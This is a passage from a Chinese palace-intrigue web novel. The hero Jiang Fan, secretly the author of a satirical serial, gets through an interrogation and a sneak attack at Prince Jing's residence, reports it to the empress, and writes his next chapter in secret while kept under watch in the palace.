“臣…遵旨。”
江凡有气无力地应道,内心泪流满面。
这该死的起居郎,什么时候才是个头啊!
马车在镇国公府门前缓缓停稳。
江凡如同霜打的茄子,蔫头耷脑地下了车,有气无力地拱了拱手:
“萧公子…慢走。”
车窗帘子掀开一角,露出萧璇月那张易容后依旧难掩清俊的脸庞,她似笑非笑地看着江凡:
“江兄,明日早朝,莫要迟了。朕…真期待看到你‘精神抖擞’的模样。”
江凡嘴角抽搐了一下,挤出一个比哭还难看的笑容:
“公子放心…小弟…一定准时到…”
心里已经把女帝翻来覆去了无数遍。
马车辘辘远去,消失在街角。
江凡长长叹了口气,感觉自己像是刚打完一场硬仗,身心俱疲。
他转身,垂头丧气地往府里
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走,只想立刻扑回自己的听雨轩,蒙头大睡。
然而,他一只脚刚踏进门槛,门房管事就急匆匆地迎了上来,脸上带着几分惶恐和不安:
“世子爷!您可算回来了!靖…靖王府派人来了,说…说靖王殿下有请世子过府一叙!”
江凡脚步猛地一顿,心瞬间提到了嗓子眼!
靖王?
他请我?
黄鼠狼给鸡拜年,能安什么好心?
他头皮一阵发麻,第一反应就是装死!
连忙捂住胸口,剧烈地咳嗽起来,脸上挤出痛苦的表情:
“咳咳咳!王…王管事…你…你也看到了,我…我重伤未愈,实在…实在不宜出门…咳咳!你去回话,就说我多谢王爷美意,待…待身子好些,再登门谢罪…”
王管事一脸为难,压低声音道:
“世子爷,老奴也是这么说的…可…可靖王府的人说,王爷吩咐了,只是简单问几句话,绝不为难世子爷。
而且…他们的人就在门外等着,说…说若是请不到世子爷,他们回去没法交代…”
话语间的威胁意味,不言而喻。
江凡心里暗骂一声,知道躲是躲不过去了。
靖王势大,在没彻底撕破脸皮之前,表面上的功夫还得做足,否则就是授人以柄。
他深吸一口气,强迫自己冷静下来。
是福不是祸,是祸躲不过!
去看看那老狐狸到底想玩什么花样!
大不了…关键时刻亮出宗师修为,杀出一条血路!
虽然会暴露,但总比不明不白死在靖王府强!
他定了定神,对王管事道:
“你去告诉姐姐一声,就说靖王相邀,我去去就回。另外…”
他凑近王管事耳边,用极低的声音叮嘱,
“若我…超过一个时辰未归,或者有任何异常,让她立刻想办法…进宫求见陛下!”
关键时刻,只能再抱一次女帝的大腿了!
希望这女人能念点‘旧情’。
毕竟自己逍遥公子的身份没人知道,唯一的过节还是跟女帝游湖的时候跟小王爷产生的。
而对方派出几个高手刺杀,最后都被自己反杀...
肯定想找自己了解具体过程,而不到万不得已,他不想暴露修为。
第078章 靖王府交锋
王管事神色一凛,重重地点了点头:
“老奴明白!世子爷…千万小心!”
江凡整理了一下衣袍,努力让自己看起来镇定一些,这才迈步走出府门。
果然,门外停着一辆装饰豪华的靖王府马车,车旁站着四名眼神锐利、气息沉稳的护卫,一看就是好手。
为首一名管家模样的中年人见到江凡,皮笑肉不笑地躬身道:
“江世子,王爷已等候多时,请上车吧。”
江凡哼了一声,摆足世子架子,也不多言,弯腰钻进了马车。
车厢内装饰奢华,他却如坐针毡,心神紧绷,暗中将【敛息诀】运转到极致,将修为死死隐藏。
马车一路疾行,并未前往闹市区的靖王府正门,而是绕到了后街一处相对僻静的侧门。
车门打开,那名管家躬身道:
“世子爷,请,王爷在书房等您。”
江凡心中冷笑,果然不敢走正门,是做贼心虚么?
他不动声色地下了车,跟着管家穿过几重庭院,来到一处环境清幽、守卫森严的书房外。
“王爷,江世子到了。”管家在门外通报。
“进来。”
里面传来靖王赵恒低沉的声音。
江凡推门而入,书房内灯火通明,檀香袅袅。
靖王赵恒端坐在一张宽大的紫檀木书案后,身穿常服,面色平静,看不出喜怒。
而在他身旁,还站着一人,正是昨日在碧波湖上有过冲突的小王爷赵晟!
此刻,赵晟正用一双阴鸷的眼睛,死死地盯着江凡,仿佛要将他生吞活剥一般。
“晚辈江凡,参见靖王殿下,小王爷。”
江凡上前几步,规规矩矩地行了一礼,礼数周到,让人挑不出错处。
靖王赵恒抬起眼皮,淡淡地扫了江凡一眼,并未让他起身,而是慢条斯理地开口道:
“江世子,不必多礼。本王今日请你过来,是有几件事,想向你请教一二。”
“王爷言重了,晚辈不敢当‘请教’二字。王爷有何垂询,晚辈定当知无不言。”
江凡保持着躬身的姿势,语气谦卑,心中却警铃大作。
“哼!”
一旁的赵晟忍不住冷哼一声,抢先发难,语气充满了讥讽和怒气,
“江凡!少在这里装模作样!昨日在碧波湖,追杀你的那几名高手,为何全部毙命?是不是你身边隐藏了宗师高手,暗中下的毒手?!说!”
江凡心里一紧,果然是为这事!
他脸上立刻装出愤怒的样子质问道:
“小王爷,难道的刺客,是小王爷的人?”
赵恒脸色微变,连忙否认:
“休要胡说,犬子再怎么纨绔,也不可能对一个国公的孩子下**。本王只是好奇,你怎么躲过几个刺客击杀的?”
江凡心中冷笑,这老东西比自己还不要脸...呸,比自己还能演。
他继续装成后怕的样子,眼中也是心有余悸:
“当时我掉进湖中自身难保,险些命丧黄泉!至于那些刺客为何而死…
我当时昏迷不醒,实在是不知内情!或许是萧公子身边的那位高手所为?又或许…是水中另有高人,仗义出手?”
他巧妙地把锅甩给了小公子和莫须有的高人。
反正当时赵晟已经知道云暮是宗师修为,要是再隐藏点实力,反杀他一群高手是有可能的。
“萧公子?”
靖王赵恒眉头微皱,心中猜测是不是自己要找的逍遥公子。
但当时在百花楼遇到的萧遥,好像实力并不怎么样,只是先天而已。
想短时间内击杀两个宗师和三个先天,起码要宗师巅峰,甚至大宗师才行。
他目光锐利地看向江凡,“哦?那位萧公子…身边竟有如此高手?不知是何来历?姓甚名谁?现在何处?”
江凡心中冷笑,面上却装作为难的样子:
“这个…晚辈与萧公子也只是萍水相逢…至于他那位随从的来历,晚辈实在是不清楚啊!萧公子为人豪爽,但似乎…不太喜欢旁人打听他的私事。”
他故意把女帝形容成一个神秘的江湖豪客,增加其不可查证性。
靖王盯着江凡看了半晌
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,似乎想从他脸上找出破绽。
但江凡演技精湛,毫无瑕疵。
靖王沉默片刻,话锋陡然一转,语气变得意味深长:
“既然江世子不清楚,那便罢了。不过…本王近日听闻,市井间流传一本名为《深宫秘恋》的话本,其中内容…颇为有趣。不知江世子…可曾看过?”
来了!
正题来了!
江凡心中凛然,靖王很可能怀疑萧公子就是那个逍遥公子!
被误会对他来说是好事,不仅能隐藏自己,而且就算追查到女帝头上,那倒是有乐子看了。
他脸上却露出纨绔子弟对‘正经书’不屑一顾的表情,撇撇嘴道:
“话本?王爷说的是那些书生写来**的玩意儿?晚辈平日只看些…嗯…图多的杂书,比如春什么图之类的。
或者听听小曲儿,对这种文绉绉的东西,没什么兴趣。怎么?这话本……有什么特别之处吗?”
他反将一军,装作完全不知情。
靖王萧恒的眼角微微抽搐了一下,强压着怒火,冷声道:
“特别?倒是有些特别!这话本中,极尽污蔑之能事,编排皇室宗亲,动摇国本!尤其对…对本王,多有诋毁!
本王怀疑,写这话本之人,包藏祸心,其心可诛!江世子交游广阔,可知这‘逍遥公子’,究竟是何方神圣?!”
江凡心中大骂老狐狸,面上却恍然大悟,随即又露出愤慨之色:
“原来如此!竟有人敢如此大胆,污蔑王爷?!真是罪该万死!不过…”
他话锋一转,挠了挠头,一脸认真地说道,
“晚辈确实没看过这话本,也不知道什么逍遥公子…不过,听王爷这么一说,这写书的人,能把王爷您气得亲自过问,想必是…是很有才华吧?”
他最后一句,简直是神来之笔,既撇清了自己,又暗戳戳地捅了靖王一刀。
“你!”
小王爷萧晟气得脸色铁青,差点就要冲上来动手!
说他爹被气到,还说那混蛋‘有才华’?
这简直是赤裸裸的挑衅!
第079章 还需要更多
“晟儿!”
靖王厉声喝止了儿子,脸色也变得阴沉如水。
他死死盯着江凡,眼中寒光闪烁。
这小子,滑不溜手,装疯卖傻,滴水不漏!
看来,常规的盘问是问不出什么了。
他深吸一口气,压下杀意,继续问道:
“江世子,你觉得跟你游湖的萧公子,会不会就是写话本的逍遥公子?”
江凡装出惊讶的样子问道:
“王爷为何会有这般怀疑?你要说萧公子的酒量或者床上功夫,也就比我差一点点,要说他会写话本?我是打死也不信的...
王爷要是对萧公子感兴趣,晚辈倒是可以多说说跟他逛青楼比谁更持久的事情...”
他故意粗鄙不堪,让靖王听得额头青筋直跳:谁特么想听你们那点风流韵事?
可江凡态度诚恳让他不好发作,只能挥了挥手:
“既然江世子一概不知,那本王也不便强人所难。今日劳烦世子跑一趟,辛苦了。来人,送江世子出府。”
这就完了?
江凡心中诧异,但巴不得赶紧离开这是非之地,连忙躬身:
“王爷言重了,晚辈告退。”
说完,转身就要往外走。
然而,就在他转身、后背完全暴露在靖王父子视线中的一瞬间!
异变陡生!
一道黑影如同鬼魅般,从书房角落的阴影中暴射而出!
速度快得惊人!
带着一股凌厉的掌风,直拍江凡后心要害!
这一掌,悄无声息,却蕴含了宗师初期的恐怖力道!
分明是蓄谋已久的偷袭!
目的,就是逼他本能反应,显露真实修为!
电光石火之间,江凡全身的汗**都竖了起来!
宗师的本能几乎要瞬间爆发反击!
但理智在最后关头死死压下了这股冲动!
不能暴露!
一旦暴露,之前所有的伪装都将前功尽弃!
女帝那边无法交代,靖王更会不惜一切代价除掉自己这个潜在的巨大威胁!
拼了!
赌一把!
他强行压制住所有真气,脸上适时地露出极度惊恐、茫然不知所措的表情,仿佛根本来不及反应!
眼睁睁看着那致命的一掌,带着呼啸的劲风,印向自己的后心!
掌风及体,杀意刺得肌肤生疼!
就在掌力即将彻底爆发、震碎他心脉的刹那——
“住手!”
靖王萧恒的厉喝声恰到好处地响起!
那道黑影的掌力在触及江凡衣衫的瞬间,如同潮水般骤然收回!
只是那凌厉的掌风,依旧震得江凡向前踉跄几步,扑倒在地,一副惊魂未定的模样。
“王爷!属下…属下该死!”
那黑影单膝跪地,声音惶恐,
“属下方才见江世子转身时身形有异,以为是刺客欲对王爷不利,情急之下出手…险些误伤了世子!请王爷责罚!”
靖王萧恒快步上前,脸上带着惊怒和‘歉意’,亲手把江凡扶起(暗中渡入一丝真气探查),连声道:
“江世子!你没事吧?本王御下不严,让世子受惊了!这该死的奴才,眼睛瞎了不成?!”
他那一丝真气在江凡体内迅速游走一圈,感受到的只有经脉紊乱、气息微弱,确实没有真气,身受内伤的模样!
江凡心中冷笑,戏精附体,一边咳嗽,一边用虚弱却带着愤怒的声音道:
“没…没事?!咳咳…王爷!您…您这府上的侍卫…眼神是不是不太好?!咳咳…晚辈…晚辈差点就…就见阎王去了!
我…我要告诉我爹!我要禀明陛下!咳咳…这…这简直是要我的命啊!”
他一副受了天大委屈、要回家找家长告状的纨绔嘴脸。
靖王萧恒眼底深处最后一丝疑虑终于散去,换上一副懊恼的神情,呵斥那黑影:
“混账东西!自去领一百鞭子!”
然后对江凡温言安抚:
“世子息怒!是本王管教无方!这样,本王赔你一万两银票,给世子压惊疗伤,如何?还望世子看在老夫薄面上,莫要声张,以免引起不必要的误会。”
他这是要花钱封口。
江凡心中一动,送上门的肥羊,不宰白不宰!
他立刻顺杆爬,脸上露出贪婪又勉强的神色:
“一…一万两?王爷,晚辈这条小命…就值一万两?要是让我爹和陛下知道…咳咳…”
靖王嘴角抽搐,强忍怒火:
“两万两!算是本王给世子的汤药费!”
“成交!”江凡立刻‘精神’了一些,伸出
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手,
“王爷爽快!晚辈也不是不通情理之人!此事…就此作罢!”
靖王黑着脸,示意管家取来两张万两银票。
江凡接过银票,仔细看了看,喜滋滋地揣进怀里,脸上笑开了花:
“多谢王爷赏赐!这下…嘿嘿,又能去百花楼喝几个月花酒了!王爷,若是没别的事,晚辈…就先告辞了?”
那副见钱眼开、没心没肺的纨绔样,演得淋漓尽致。
靖王父子看着他这副模样,脸色阴沉得几乎能滴出水来,却只能强挤笑容:
“世子好走。”
江凡拱拱手,转身,哼着小曲走出了书房,那背影,怎么看怎么像一个走了狗屎运的败家子。
直到江凡的身影消失在院门外,靖王萧恒脸上的笑容瞬间消失,变得无比狰狞!
他猛地一掌拍在书案上,木桌面顿时出现数道裂纹!
“父王!难道…真不是他?”
萧晟不甘心地问道。
“应该不是。”靖王声音冰冷,
“他体内没有真气,且受了内伤。面对宗师偷袭,毫无反应,绝无可能是大宗师!至于那天出手的人…或许,真另有其人?”
他眼中寒光闪烁,
“但无论如何,此子…留不得了!屡次三番与本王作对,又深得女帝…和那神秘‘萧公子’的青睐!必须尽快除掉!”
“可是父王,他现在有陛下和那个萧公子庇护,我们不好明着动手啊!”
“明着不行,那就来暗的!”靖王眼中杀机毕露,
“他不是喜欢喝花酒吗?京城这么大,意外…随时可能发生!”
……
另一边,江凡走出靖王府侧门,走出老远,他才长长舒了一口气,后背已被冷汗浸湿。
刚才真是险之又险!
若非他意志坚定,演技超群,差点就着了道!
“老狐狸!试探小爷?哼!这两万两,就当是精神损失费了!”
他摸着怀里的银票,心情稍微好转。
但他也清楚,经此一事,靖王父子对自己已起杀心,以后的麻烦只会更多。
“必须尽快提升实力!宗师中期…不够!要尽快达到后期,甚至巅峰!才有自保之力!”
他眼中闪过一丝厉色。
人气值,还需要更多!
第080章 非一日之寒
当马车停在镇国公府门口时,早已心急如焚的江芷兰立刻冲了出来。
看到弟弟虽然脸色有些苍白,但完好无损,这才放下心来,连声追问情况。
江凡简单搪塞了过去,只说是靖王询问昨日**之事。
自己一问三不知,对方也没为难,还‘赔’了点汤药费。
他不想让姐姐过多担心。
然而,他刚回到听雨轩,还没来得及喝口茶压惊,一名丫鬟就急匆匆来报:
“世子爷!大小姐让您赶紧去前厅!宫里的云暮姑娘来了,说…说陛下宣您立刻进宫见驾!”
江凡一愣,女帝?
这么晚了,她又召我进宫干嘛?
难道…靖王府的事,她已经知道了?
他心中涌起一股不祥的预感,但圣命难违,只得整理了一下衣袍,再次硬着头皮,向着皇宫走去。
哎!牛马的日子果然难熬!
皇宫,紫宸宫偏殿,灯火通明,已近亥时。
江凡跟着引路内侍,再次踏入了这座让他心情复杂的宫殿。
萧璇月穿着一身简便的常服,青丝随意挽起,正坐在临窗的软榻上,就着烛光批阅几份奏折。
云暮静立一旁。
“臣江凡,参见陛下。”
江凡收敛心神,上前规规矩矩行礼。
心里却在打鼓:这么晚了,还穿得这么‘随意’召见我?这女人又想干嘛?
“平身吧。”
萧璇月放下朱笔,抬起凤眸,目光落在江凡身上,
“这么晚召你入宫,没扰了你休息吧?”
语气倒是颇为温和。
“陛下召见,是臣的荣幸,岂敢言扰?”
江凡连忙表态,心里吐槽:扰没扰你自己心里没X数吗?
萧璇月微微颔首,示意他坐下,又让云暮上了茶,这才步入正题:
“朕听闻,你方才去了靖王府?靖皇叔…找你何事?可有为难于你?”
江芷兰担心他,第一时间就进宫找了女帝,所以她已知晓江凡赴约之事。
江凡立刻戏精附体,脸上瞬间堆满了委屈和后怕,甚至还有点气愤,道:
“陛下!您可要替臣做主啊!靖王他…他简直欺人太甚!”
“哦?”萧璇月眉梢微挑,配合地问道,
“皇叔如何欺你了?细细道来。”
江凡便添油加醋、声情并茂地将靖王府的经历说了一遍。
重点突出了靖王父子如何‘咄咄逼人’、怀疑他是杀害刺客的高手、污蔑‘萧公子’是逍遥公子。
尤其是最后那惊险万分的偷袭试探!
“…陛下您说说!这叫什么事儿啊!”
江凡一副心有余悸的样子,捂着胸口,
“臣好歹也是镇国公世子,陛下亲封的起居郎!他们…他们竟然敢在王府内,光天化日…
呃,是华灯初上之下,就派宗师高手偷袭臣!要不是…要不是陛下洪福齐天,保佑臣命大,要不是那个侍卫最后收了手,臣…
臣这会儿怕是已经躺在棺材里了!他们这分明是没把陛下您放在眼里啊!”
他巧妙地把个人恩怨上升到了‘藐视皇权’的高度。
反正自己得罪靖王,也是因女帝而起。
萧璇月静静听着,面色平静,看不出喜怒。
直到江凡说完,她才缓缓开口:
“如此说来,靖皇叔确实…有些过了。让你受惊了。”
她目光深邃地看着江凡,
“不过,你最后…似乎还因祸得福,得了两万两银票的‘汤药费’?”
江凡心里一咯噔,赶紧把银票掏出来,双手呈上,一脸赤胆忠心:
“陛下明鉴!这银票…臣拿着烫手啊!靖王这分明是想用钱堵臣的嘴!臣思来想去,这钱…理应上交国库!充作军饷也好,赈济灾民也罢,绝不能落入臣的私囊!”
他这招以退为进,既表了忠心,又试探女帝的态度。
萧璇月看着他手中那叠厚厚的银票,又看看他那一脸‘大公无私’的表情,嘴角抽动了一下。
这小子…真是滑不溜手!
她摆摆手,淡淡道:
“既是靖王赔给你的汤药费,你便自己留着吧。好好养伤便是。至于靖王那边…朕自有计较,会寻机敲打一番。”
江凡心中暗喜,面上却故作
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犹豫:
“这…臣谢陛下恩典!只是…靖王随随便便就能拿出两万两银子封口,看来…家底颇丰啊?”
他故意把话题引向靖王的财富。
萧璇月何等聪明,立刻听出了他的弦外之音:
“哦?江爱卿有何高见?”
江凡搓着手,露出一副‘奸臣’嘴脸,压低声音道:
“陛下,您看啊,如今北疆不宁,国库空虚,各地又闹灾荒,处处都要用钱!靖王身为皇叔,富可敌国,却…却似乎对朝廷没什么表示?
要不…陛下您找个由头,比如…查查他有没有****?或者…派人悄悄在他府里放点…
嗯,比如龙袍玉玺什么的?再不然,伪造几封他跟北莽通信的密函?到时候人赃并获,抄了他的家,岂不是能大大充实国库?”
他说得眉飞色舞,仿佛已经看到了金山银山。
“噗——”
一旁侍立的云暮实在没忍住,低笑出声,又赶紧捂住了嘴。
萧璇月也是听得哭笑不得,没好气地瞪了江凡一眼:
“胡闹!你这话本小说看多了?栽赃陷害,乃是昏君佞臣所为!靖王纵有不是,亦是朕的皇叔,朝廷亲王!
无凭无据,岂能妄动?若真依你之言,天下藩王、百官岂不人人自危?届时群起而攻之,朕这江山还要不要了?”
她语气虽带斥责,但眼中却并无多少怒意,反而觉得这小子异想天开得…有点可爱?
江凡缩了缩脖子,讪讪道:
“陛下教训的是,是臣…是臣糊涂了!臣就是…就是看他不顺眼,随口一说…”
他心中却想:看来女帝还是有底线的,不是那种为达目的不择手段的人。
这点…倒是不错。
萧璇月叹了口气,语气变得复杂:
“靖王…之所以有今日之势,也非一日之寒。说起来…朕的皇祖父在位时,最初属意的储君人选,并非朕的父皇,而是…靖王。”
江凡心中猛地一跳!
来了!秘辛来了!
他立刻竖起耳朵,脸上露出恰到好处的惊讶:
“啊?竟有此事?”
第081章 明显的监视
萧璇月目光望向窗外沉沉的夜色,仿佛陷入了回忆:
“皇叔萧恒,年轻时文韬武略,确在众皇子中出类拔萃,皇祖父对他寄予厚望。而朕的父皇…那时性情温和,不喜争斗,相比之下,略显平庸。”
江凡屏住呼吸,不敢打扰。
“然而,”萧璇月话锋一转,声音微冷,
“就在册立太子前夕,宫中突然传出流言,说靖王…并非皇室血脉,其生母…可能与某位外戚有染。
虽无实据,但流言汹汹,涉及天家颜面,皇祖父勃然大怒,虽未深究,但立储之事就此搁置。后来经过一番波折,才立了朕的父皇为太子。”
江凡心中巨震!
这…这跟自己在那话本里编排‘靖南王’的出身,简直如出一辙!
难道自己误打误撞,竟然戳中了真相?!
他强压住心中的惊涛骇浪,不敢表露分毫。
萧璇月继续说道:
“皇祖父或许是对靖王心存愧疚,在父皇被立为太子后,便赐予靖王一面‘丹书铁券’,也就是免死金牌。
承诺非谋逆大罪,可免其一死。父皇仁厚,登基后对这位皇兄也多番忍让,这才养成了他今日骄横之势。”
她转过头,看向江凡,目光锐利,
“所以,你说若无真凭实据,朕能动他吗?即便有证据,只要不是谋逆,那面免死金牌,便是他最大的护身符。”
免死金牌!
江凡倒吸一口凉气!
这玩意儿可是个**烦!
难怪靖王有恃无恐!
想彻底扳倒他,要么找到他谋逆的铁证,要么…就得先想办法废掉那面金牌!
他脸上露出恍然大悟和愤愤不平的神色:
“原来如此!这靖王…真是好深的算计!有这免死金牌在手,岂不是可以为所欲为?陛下,这…这岂不是养虎为患?”
萧璇月微微颔首,语气带着一丝无奈和决然:
“所以,对付靖王,急不得。需耐心等待,静观其变。或者…等待一个能让他动用那免死金牌,甚至…让那金牌失效的时机。”
她的目光意味深长地扫过江凡。
江凡心中凛然,女帝这话,似乎意有所指?
难道她也在等靖王自己作死?
或者…在等自己这个‘变数’做点什么?
他连忙低下头,装作似懂非懂的样子:
“陛下深谋远虑,臣佩服!”
心里却飞快盘算起来。
免死金牌…这确实是个大障碍。
得想个办法,让靖王在‘合理’的情况下,把这金牌的效果给‘消耗’掉才行…
话本里,有没有办法引导靖王加快速度**呢?
见该说的都说了,敲打和试探的目的也已达到,萧璇月便道:
“好了,时辰不早,靖王之事,朕心中有数。你今日受惊了,早些回去歇息吧。”
江凡如蒙大赦,连忙起身:
“臣告退!”
转身就想溜。
“慢着。”萧璇月的声音再次响起。
江凡脚步一僵,苦着脸转回身:
“陛下…还有何吩咐?”
萧璇月端起茶杯,轻轻吹了吹浮叶,语气淡然:
“宫门已经下钥,你此时出宫,诸多不便。今晚,就宿在宫中吧。云暮,带江世子去‘凝香苑’偏殿安歇,好生伺候。”
江凡:“!!!”
又留宿?
他简直要哭了!
在宫里睡,跟坐牢有什么区别?
很明显,女帝还是没有打消怀疑,一定会加大人手监视自己。
“陛下!这…这不合规矩吧?臣…臣一外臣,宿于内宫,恐惹人非议啊!”
江凡试图挣扎。
萧璇月凤眸斜睨了他一眼,似笑非笑:
“怎么?江爱卿是怕朕吃了你不成?放心,凝香苑乃接待宗室子弟之所,不算内宫重地。
况且…你如今‘重伤’在身,朕体恤臣子,留你在宫中养伤,谁敢妄议?莫非江爱卿在宫外,有何急事要办?”
最后一句,带着明显的试探。
江凡头皮发麻,连忙摆手:
“没有没有!臣…臣谢陛下隆恩!”
他知道再推脱反而更惹怀疑,只得硬着头皮应下。
心里把女帝问候了一万遍:这女人绝对是故意的!就是想监视我!
“嗯,去吧。”
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萧璇月满意地挥挥手。
江凡垂头丧气地跟着云暮离开了紫宸宫。
一路上,他都能感觉到暗处至少有七八道强大的气息锁定了自己,显然是加强了监视。
来到所谓的‘凝香苑’偏殿,环境倒是清雅,一应物品俱全。
云暮安排好一切,意味深长地看了江凡一眼,道:
“江世子,陛下有旨,请您安心静养,夜间…切勿随意走动。若有需要,门外有宫女值守。”
说完,便躬身退下,并轻轻带上了殿门。
江凡听着门外细微的呼吸声,又感知到窗外、屋顶若隐若现的强大气息,心中哀叹:这简直是铜墙铁壁!
别说溜出去,就是放个屁估计都能被听见!
他烦躁地在殿内踱步。
女帝把他扣在宫里,摆明了就是要验证他到底是不是‘逍遥公子’!
如果今晚话本依旧准时更新,那她的疑心或许能打消一些?
可万一…她还有其他手段验证呢?
“不行!不能坐以待毙!”
江凡眼中闪过一丝决绝。
更新必须继续,人气值不能断!
而且这也是能最大程度打消女帝怀疑的办法。
之前被监视,起码还有一定的自由空间,以他书画满级的水平更新花不了多少时间。
但今晚那些高手的神识已经肆无忌惮的投入到房间里,只要自己拿出纸笔写东西,就会被发现。
不得不说,女帝是真狗啊!
要是发现自己能凭空变出纸笔,那当然能凭空将写好的东西复印传送出去。
“怎么办?”
江凡坐在床上,感受到起码三道神识锁定在自己身上,心中烦躁不安。
要是不更新,那依然会暴露。
他心烦意乱的看向人气值,已经超过三十万,可以提升到宗师中期了。
但现在提升一个小境界修为用处并不大。
当他看向储物空间内的笔墨纸砚,眼神突然一亮:
不知道能不能用意念控制纸笔,让储物空间内进行写作呢?
即使慢一点也没事,在锁定自己的高手眼中,自己只是在闭眼睡觉而已...
第082章 迷茫的女帝
江凡想到就做,立即宽衣躺在床上。
在监视的高手神识中,江凡回房间就老实睡觉,没有异常举动。
而此时的江凡心神已经沉入系统空间,只需心念一动,笔墨纸砚已经出现在他‘眼前’。
空间和心神相连,只需意念一动,就能准确拿取想要的东西。
但他现在不拿出来,而是通过意念在空间内研墨、书写。
很快,他就惊喜得差点跳起来。
竟然真的可以!
唯一的缺点,就是很消耗心神!
但他管不了这么多,只要能打消女帝的怀疑就行,大不了今天少更新一些。
于是他立即开始用心神操控,在空间内书写话本最新内容。
这一次,他写得更加小心谨慎。
内容上,他延续了对‘靖南王’的抨击,着重描写其如何倚仗‘丹书铁券’横行不法、结党营私,甚至暗示其有不臣之心。
虽然无法实质性对靖王产生威胁,但通过话本传播出一个思想,丹书铁券并非万能。
尤其是先皇赏赐的,现在可以作废。
只要越来越多的人认可这样的想法,以后女帝对付靖王也能顶住很多压力。
然后,他又照例更新了‘林枫’与‘女帝’的感情线,顺便再次详细描述了曲辕犁的改良细节和预期效果,算是给女帝的又一份礼物。
整个‘书写’过程,他精神高度集中,十分消耗心神。
完成之后,他仔细检查一遍,确认无误,心中默念:
“系统,提交最新章节《深宫秘恋:丹书铁券护妖孽,势不可违破金身》。”
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(2000份),投放至京城及周边区域…投放中…】
看着人气值顺利上涨,江凡长长舒了口气,感觉比打了一架还累。
幸好一切都是值得的,现在每天能发放两千份了,人气也能成倍获得。
此时也没有心情提升修为,他倒在床上,开始入睡。
有了今天的监视,他相信肯定能洗脱自己的嫌疑。
让女帝相信,自己就是个一无是处的纨绔。
……
紫宸宫寝殿。
萧璇月并未安寝,她坐在窗边,看似在翻阅奏章,心神却有一大半系在凝香苑方向。
云暮悄无声息地出现在她身后,低声道:
“陛下,暗卫回报,凝香苑偏殿灯火已熄,江世子已然安寝,呼吸平稳,并无任何异动。四周监视已增至三班,绝无死角。”
“嗯。”
萧璇月淡淡应了一声,目光却不由自主地瞟向枕边——那里,空空如也。
往常这个时候,新的话本早已悄然出现。
时间一点点过去,子时将至。
萧璇月的心,也随着时间流逝,慢慢提了起来。
究竟是不是他?
就在她几乎要放弃等待,准备就寝时——枕边,熟悉的触感再次传来!
萧璇月的心猛地一跳!
她迅速伸手拿起话本,指尖微微颤抖。
她迫不及待地翻开,快速浏览起来!
当看到书中关于‘丹书铁券’的内容时,她的瞳孔骤然收缩!
今天才跟江凡说过免死金牌的事情,晚上就出现了这个情节。
但自己安排的眼线和高手,都说江凡到房间就直接睡下,根本没有写字工作。
而且这话本完全是凭空出现的!
还有那曲辕犁的详图…这逍遥公子,难道真的另有其人?
江凡此刻正被她的人严密监视在凝香苑!
他绝无可能在自己眼皮子底下,神不知鬼不觉地完成创作、抄录、并投放出去!
一股寒意和困惑席卷了萧璇月。
她迷茫了!
本以为自己已经发现了逍遥公子的本尊,但现在发现事情好像没有这么简单。
难道江凡真的只是有一点点小聪明,以及一点点修为的普通纨绔?
不,他肯定不是纨绔。
但好像...也不是逍遥公子。
那逍遥公子究竟是谁?
她放下话本,在殿内来回踱步。
“云暮!”她忽然停下脚步。
“奴婢在。”
“再加派一倍人手!给朕盯死凝香苑!连一只蚊子飞进去,都要给朕查清是公是母!”
萧璇月的语气带着决绝,
“朕就不信…找不出破绽!”
虽然想不通逍遥公子是怎么做到的
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,但现在也不想放过江凡。
她的直觉告诉自己,江凡绝对不是一无是处的纨绔。
但今天话本的更新,却彻底洗清了江凡的嫌疑!
“是!陛下!”
云暮领命,身影消失在黑暗中。
萧璇月走回窗边,望着凝香苑的方向,美眸中光芒闪烁。
“江凡不是逍遥公子...那真正的逍遥公子又是谁?为什么对朝堂的一切都这么熟悉?”
紫宸宫寝殿,烛火摇曳,已近黎明。
就在这时,殿外传来云暮压低的声音:
“陛下,寅时三刻了,该准备早朝了。另外,暗卫急报。”
萧璇月深吸一口气,强行压下翻腾的心绪:
“进。”
云暮快步走入,神色凝重,低声道:
“陛下,暗哨发现,自昨夜子时至今,皇城内多处隐秘据点,有不明身份的精壮人员分批潜入,行动迅捷,纪律严明。
总数预估在三千至五千之间,已化整为零,散布于各坊市要冲。其行事作风…疑似军中悍卒,且极可能来自靖王藩地!”
萧璇月瞳孔骤然收缩,凤眸中寒光暴涨!
靖王!
他终于忍不住要动手了吗?
在京城天子脚下,暗中调集数千兵马?
他想干什么?
逼宫?
还是制造混乱,趁机发难?
“好!好个靖皇叔!”
萧璇月不怒反笑,笑声冰冷,
“朕还没去找他算账,他倒先按捺不住了!继续严密监视!摸清他们的具体藏匿点和联络方式!
但没有朕的命令,切勿打草惊蛇!朕倒要看看,他这把老骨头,究竟想玩多大的火!”
她语气森然,“若他真敢踏出那一步…即便有丹书铁券,朕也要叫他…死无葬身之地!”
“是!”云暮领命,悄然退下布置。
萧璇月站起身,走到窗边,望着东方天际泛起的一抹鱼肚白,心中杀意凛然。
靖王的异动,反而冲淡了她对逍遥公子身份的困惑,将她的注意力拉回了现实的危机之中。
她拿起那本话本,目光再次落在‘曲辕犁’的图纸上,心中瞬间有了决断。
“来人!更衣,上朝!”
第083章 国师的位置
凝香苑偏殿。
江凡被宫女轻柔的呼唤声吵醒,只觉头痛欲裂。
昨夜在系统空间内以神念‘书写’,对心神的消耗远超他的预期,简直比跟同级别高手大战三百回合还要疲惫。
他挣扎着坐起身,揉了揉太阳穴,一脸的生无可恋。
“世子爷,时辰不早了,该准备上朝了。”
宫女捧着朝服,恭敬地站在床边。
江凡心里骂了一万句‘昏君’,却不得不爬起来,任由宫女伺候他洗漱更衣。
看着镜中那个穿着绯色官袍、却顶着黑眼圈、精神萎靡不振的自己,他哀叹一声:
这该死的起居郎,简直不是人干的差事!
等小爷我攒够人气值,兑换个陆地神仙境界,第一件事就是把这身官服砸女帝脸上!
辞职!
必须辞职!
磨磨蹭蹭地来到紫宸殿外,文武百官早已列队等候。
江凡耷拉着脑袋,混入文官队列末尾,努力降低自己的存在感,只盼着这该死的早朝赶紧结束,好回去补个回笼觉。
钟鼓齐鸣,百官入殿。
萧璇月端**,威仪天成。
她的目光扫过下方,很快便捕捉到了那个站在角落、蔫头耷脑的熟悉身影。
看到江凡那副精神涣散的‘惨状’,她心中微微一动,昨夜暗卫的回报再次浮现脑海。
难道…他这般模样,真是因为伤势未愈?
或者,昨夜在靖王府确实受了惊吓?
自己…是不是逼他太紧了?
“有本启奏,无本退朝!”
掌印太监唱喥。
萧璇月收敛心神,正准备按计划,将‘曲辕犁’之事提出,交由工部试制。
